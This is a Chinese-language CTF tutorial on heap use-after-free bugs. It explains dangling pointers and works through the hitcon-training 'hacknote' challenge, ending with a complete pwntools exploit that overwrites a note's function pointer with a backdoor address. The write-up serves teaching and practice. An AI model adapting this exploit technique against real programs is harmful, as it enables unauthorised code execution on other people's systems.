[TOC]
原理
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
例题 hitcon-training-hacknote
程序只开启了 Canary 和 NX 保护
程序有 3 个功能,可以依次走一下看看具体流程
Add note
count 为全局变量,记录当前 note 的数量,最多只能有 5 个 note
首先为申请一个大小为 8 的 note chunk,该 chunk 的 malloc_ptr 存放在 notelist 数组里
note chunk 的第一个位置存放的是 print_note_content 函数的地址
note chunk 的第二个位置存放的是 content chunk 的 malloc_ptr
所以其内存布局图如下:
Delete note
这里释放了 content_chunk , note_chunk,但是都没有置NULL;存在UAF漏洞
Print note
调用 note chunk 处存放的函数
其中 print_note_content 函数如下
程序存在后面函数 magic :
漏洞利用思路
程序存在后面函数,并且我们可以通过 Print note 功能去调用存放在note位置处的函数;所以如果我们能够修改note位置处函数的地址为 magic 函数的地址,那么当我们执行 Print note 功能时就会去执行 magic 后门函数
那么我们如何实现修改 note 处的函数地址呢?程序并没有修改功能
注意:程序创建chunk的顺序,当我们创建一个 note 时,程序首先会创建一个大小为 8 的 note chunk 用来存放 print_note_content 函数地址以及 content chunk的malloc指针,然后在创建content chunk;这里 note chunk 的大小是固定的,而 content chunk 的大小是我们可以控制的
那么如果我们开始创建两个 content size > 8的 note,然后再delete掉;那么此时bins里面大小为8的chunk就有两个,那么当我们再次创建一个 content size = 8 的 note 时,这两个chunk就会被复用,那么问题就来了,这两个chunk再释放之前都是 note chunk,而现在一个是note chunk,一个是 content chunk;而对于content chunk的内容我们是可以修改的,而由于存在UAF漏洞,所以这个 content chunk 还是可以被当作 note chunk。
创建两个 note :
释放这两个 note :
创建大小为 8 的 note:可以看到之前作为 note chunk的chunk现在成了 content chunk,而由于存在UAF漏洞,我们还是可以利用存放在0x804b008 处的函数
exp:
from pwn import *
io = process("./hacknote")
def cmd(index):
io.sendlineafter(b'choice :', str(index).encode())
def add(size, content):
cmd(1)
io.sendlineafter(b'size :', str(size).encode())
io.sendlineafter(b'Content :', content)
def dele(index):
cmd(2)
io.sendlineafter(b'Index :', str(index).encode())
def pri(index):
cmd(3)
io.sendlineafter(b'Index :', str(index).encode())
magic = 0x0804898F
add(24, b'A')
add(24, b'A')
dele(1)
dele(0)
add(8, p32(magic))
pri(1)
io.interactive()